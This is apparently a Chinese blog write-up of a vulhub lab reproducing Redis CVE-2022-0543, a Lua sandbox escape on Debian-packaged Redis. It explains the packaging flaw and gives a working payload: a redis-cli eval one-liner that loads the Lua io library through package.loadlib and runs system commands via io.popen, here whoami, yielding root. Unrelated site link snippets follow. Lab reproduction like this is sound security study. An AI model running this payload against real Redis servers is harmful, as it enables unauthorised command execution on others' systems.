【vulhub】redis CVE-2022-0543(redis沙盒逃逸)
渗透环境
攻击机: IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/CVE-2022-0543
涉及知识点:redis沙盒逃逸
漏洞详情
受影响的系统:
- 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
- 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。
受影响的 Redis 版本范围:
- redis版本小于等于6.x的都可以尝试。
触发条件:
攻击者需具备 Redis 的未授权访问权限或合法凭证。
漏洞原理
背景
Redis 允许通过eval
命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。补丁引入的漏洞
Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为package
的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。沙盒逃逸过程
- 加载动态库:攻击者可通过
package.loadlib
加载 Lua 系统库(如liblua5.1.so.0
),调用其导出函数(如luaopen_io
)获取io
库权限。 - 执行命令:利用
io.popen
等函数执行任意系统命令。
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r"); -- 执行系统命令
local res = f:read("*a");
f:close();
return res;
- 加载动态库:攻击者可通过
攻击思路:
单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园
从漏洞角度来看,使用eval
函数执行上面的逃逸过程即可。
复现漏洞
一、 启动漏洞容器
docker-compose up -d
可以看到redis运行在默认端口6379上
二、未授权连接
redis-cli -h 192.168.66.130
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接
三、get shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0
可以看到命令都已经成功执行,我们已经拿到了root权限
【vulhub】redis CVE-2022-0543(redis沙盒逃逸)的更多相关文章
- 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸
作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...
- python沙盒逃逸
前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...
- SSTI注入绕过(沙盒逃逸原理一样)
在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...
- python-Flask模版注入攻击SSTI(python沙盒逃逸)
一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...
- seccomp沙盒逃逸基础——沙盒的规则编写
seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...
- Vulhub 漏洞学习之:Redis
Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...
- 为什么 Redis 的查询很快, Redis 如何保证查询的高效
Redis 如何保证高效的查询效率 为什么 Redis 比较快 Redis 中的数据结构 1.简单动态字符串 SDS 对比 c 字符串的优势 SDS可以常数级别获取字符串的长度 杜绝缓冲区溢出 减少修 ...
- CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)
1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...
- 沙盒解决方案解决SharePoint 2013 以其他身份登陆的问题
众所周知,SharePoint 2013没有像SharePoint 2010那样有一个叫"以其他身份登录"的菜单项. 当然解决方案也很多,比如你可以直接修改Welcome.ascx ...
- SharePoint 2013 沙盒解决方案不能激活(激活按钮不可用)
把沙盒解决方案上传到目标站点的"解决方案"库中,发现"激活"按钮是灰掉的,不可用. 首先,我想到的是权限不足,所以 "以管理员身份"启动IE ...
随机推荐
- liunx安装docker,portainer,mysql,rabbitMQ,nacos
由于公司框架迭代了,故此写个随笔,记录一下,方便日后回顾 1.准备 阿里云服务器(liunx CentOS 7.6) 2.前置工作 (1)查看系统版本 lsb_release -a (2)查看系统以及 ...
- Teams 无法访问的问题
排除以下 login.partner.microsoftonline.cn; login.microsoftonline.com; microsoft.com; live.com; hotmail.c ...
- 【bug记录】AttributeError: 'CollectReport' object has no attribute 'description'
问题截图 问题原因 有完全重复用例,因为写用例的时候,为了图方便,直接复制的,还没来得及改,然后,用pytest运行的时候,就报这个错误了. 问题解决 去掉重复就行了
- tailscale安装教程
tailscale安装失败可能是由于以下原因之一导致的: 系统兼容性问题:tailscale可能不支持你的操作系统版本或架构.请确保你的系统满足官方的最低要求,并尝试使用官方提供的正确版本进行安装. ...
- 使用Halcon软件和圆形标定板进行相机标定的步骤和教程
直接给出使用Halcon软件和圆形标定板进行相机标定的教学视频链接: 55-相机标定4-DLT,张正友标定法,Halcon标定算子
- 浅谈网页端IM技术及相关测试方法实践(包括WebSocket性能测试)
本文由转转QA赵里京分享,原题"浅谈IM与相关测试方法",下文进行了排版和内容优化. 1.引言 目前转转的所有业务都在快速增长,支撑其用户服务的客服系统也同样在快速发展,以承接用户 ...
- ImageSharp:高性能跨平台.NET开源图形库
在.Net中,System.Drawing有平台限制的问题,如果需要跨平台就需要使用第三方库. 今天推荐一个.NET开源图形库,不依赖任何库,支持跨平台的图形库. 01 项目简介 ImageSharp ...
- 【Java 温故而知新系列】基础知识-03 基本类型对应之包装类
1.包装类都有哪些? 基本类型都有对应的包装类型,这些包装类提供了一种面向对象的方式来处理基本数据类型,允许它们被用于需要对象的场景,如集合框架.泛型等. 对应关系: 基本类型 包装类型 boolea ...
- shell脚本检查192.168.1网段ip是否在用
要检查 192.168.1 网段中哪些 IP 地址正在使用,可以使用 Shell 脚本结合 ping 命令来扫描整个网段.以下是实现这一功能的完整脚本: 脚本:检查 192.168.1 网段 IP 是 ...
- C++ STL学习笔记-C++ STL基础
仅自己回忆使用,若有侵权,联系删除 algorithm实用库函数 sort:迭代器类型必须为随机访问迭代器(first,last),应该支持< 运算符,可以自己写比较 nth_element() ...